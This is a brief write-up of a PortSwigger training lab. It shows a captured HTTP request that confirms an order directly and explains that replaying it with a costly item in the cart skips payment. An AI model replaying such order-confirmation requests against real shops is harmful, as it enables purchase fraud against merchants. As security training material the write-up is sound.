PortSwigger Lab: Insufficient workflow validation
Task
This lab makes flawed assumptions about the sequence of events in the purchasing workflow. To solve the lab, exploit this flaw to buy a “Lightweight l33t leather jacket”.
You can log in to your own account using the following credentials: wiener:peter
Attempt
Logged in and bought one giant enter key , captured the request below:
GET /cart/order-confirmation?order-confirmed=true HTTP/2
Host: 0aeb00d90395b3b783bf2d7400b20077.web-security-academy.net
Cookie: session=nxrpNv0RQpKjs6tUFcjWboJ0CxZmd94E
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://0aeb00d90395b3b783bf2d7400b20077.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
This GET request seemed like confirming the order without due validation of the purchase. So I put a leather leet jacket into the cart and sent the request again using Repeater. BOOM